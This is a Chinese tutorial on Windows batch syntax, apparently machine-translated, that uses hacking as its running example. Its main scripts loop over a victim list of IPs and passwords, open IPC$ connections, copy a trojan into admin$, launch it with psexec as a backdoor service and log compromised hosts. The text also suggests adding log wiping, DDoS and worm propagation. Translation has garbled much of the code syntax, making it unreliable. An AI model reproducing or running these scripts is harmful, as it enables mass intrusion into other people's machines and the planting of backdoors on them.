如何学习cmd命令符号？ ？ ？ ？ ？(2)

有关令牌的使用，请参阅上面的sample1，这意味着将受害者.txt的内容按顺序传递到door.bat中的参数％i％j％k.

Cultivate.bat只不过是使用net use命令建立IPC $连接，将Trojan +后门复制到受害者，然后使用返回码（If errorlever =）来筛选成功植入主机的主机. 后门并将其回显，或回显到指定文件.

delims =表示vivtim.txt中的内容用空格分隔. 我想看看您必须了解受害者.txt的内容. 应该根据%% i %% j %% k表示的对象进行排列，通常是ip密码用户名.

代码原型:

-----------------在此处剪切，然后另存为批处理文件（我称其为main.bat）----------------- ----------

@回声关闭

@如果“％1” ==“”转到用法

@for / f“令牌= 1,2,3 delims =” %% i in（victim.txt）in开始调用IPChack.bat %% i %% j %% k

@转到结束

: 用法

@echo在dos modle中运行此批处理，或双击它.

: 结束

-----------------在此处剪切，然后另存为批处理文件（我称其为main.bat）----------------- ----------

-------------------在此处剪切，然后另存为批处理文件（我称其为door.bat）------------- ----------------

@net use \\％1 \ ipc $％3 / u: “％2”

@如果错误级别1转到失败

@echo试图建立IPC $连接…………好

@copy windrv32.exe \\％1 \ admin $ \ system32 &&如果没有错误级别1回声IP％1 USER％2 PWD％3 >> ko.txt

@psexec \\％1 c: \ winnt \ system32 \ windrv32.exe

@psexec \\％1净启动windrv32 &&如果没有错误级别1 echo％1后门>> ko.txt

: 失败

@echo对不起，无法与受害者建立联系.

-----------------在此处剪切，然后另存为批处理文件（我称其为door.bat）--------------- -----------------

这只是自动后门批处理的原型. PSexec.exe这两个批处理和后门程序（Windrv32.exe）需要放在一个统一目录中. 批处理内容

它可以扩展，例如: 添加清除日志+ DDOS的功能，添加定期添加用户的功能，再深入一点就可以使其具有自动传播功能（蠕虫）. 在这里描述不多，感兴趣的朋友可以做自己的研究.

2号

两个. 如何在批处理文件中使用参数

参数可用于批处理，通常是9个，从1％到9％. 当有多个参数时，需要使用shift进行移动. 这种情况很少见，我们不会考虑.

sample1: fomat.bat

@回声关闭

如果“％1” ==“ a”格式a:

: 格式

@format a: / q / u / ausetset

@echo，请将另一张磁盘插入驱动程序A.

@暂停

@goto fomat

此示例用于连续格式化多个软盘，因此在使用它时，需要在dos窗口中输入fomat.bat a.

sample2:

当我们想建立一个IPC $连接位置时，我们总是必须输入一系列的命令，如果我们没有记错的话，我们会犯一个错误，因此我们最好写一些固定的命令，然后将肉鸡的ip密码用户名作为参数放入该批次中，这样您就不必每次都键入命令.

@回声关闭

@net use \\ 1％\ ipc $“ 2％” / u: “ 3％”注意，PASSWORD是这里的第二个参数.

@如果错误级别1回显连接失败

使用参数相对简单吗？你一定学得很帅^ _ ^. 3号

三个. 如何使用复合命令

1. ＆

用法: 第一条命令和第二条命令[＆第三条命令...]

使用此方法，无论命令是否成功执行，都可以同时执行多个命令

示例:

C: \>目录Z: 和目录C: \ Ex4rch

系统找不到指定的路径.

驱动器C中的卷没有标签.

卷序列号为0078-59FB

c的目录: \ Ex4rch

2002-05-14 23:51

.

2002-05-14 23:51

..

2002-05-14 23:51 14 sometips.gif

2. &&

用法: 第一条命令&&第二条命令[&&第三条命令...]

使用此方法，可以同时执行多个命令. 遇到错误的命令后，将不会执行以下命令. 如果没有错误，将执行所有命令；

示例:

C: \>目录Z: &&目录C: \ Ex4rch

系统找不到指定的路径.

C: \>目录C: \ Ex4rch &&目录Z:

驱动器C中的卷没有标签.

卷序列号为0078-59FB

c的目录: \ Ex4rch

2002-05-14 23:55

.

2002-05-14 23:55

..

2002-05-14 23:55 14 sometips.gif

1个文件14字节

免费2个Dir 768,671,744字节

系统找不到指定的路径.

在执行备份时使用此命令可能会更容易，例如:

dir文件: //192.168.0.1/database/backup.mdb &&复制文件: //192.168.0.1/database/backup.mdb E: \备份

如果backup.mdb文件存在于远程服务器上，则执行复制命令，如果该文件不存在，则不执行复制命令. 这种用法可以代替IF存在: ）

3. ||

用法: 第一个命令||第二个命令[||第三条命令...]

此方法可以同时执行多个命令. 当遇到正确的命令时，后续命令将不会执行. 如果没有正确的命令，将执行所有命令；

示例:

C: \ Ex4rch> dir sometips.gif || del sometips.gif

驱动器C中的卷没有标签.

卷序列号为0078-59FB

C的目录: \ Ex4rch

2002-05-14 23:55 14 sometips.gif

1个文件14字节

0个目录可用768,696,320字节免费

组合命令用法示例:

样本:

@copy trojan.exe \\％1 \ admin $ \ system32 &&如果没有错误级别1回声IP％1 USER％2 PASS％3 >>受害人.txt

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-207459-2.html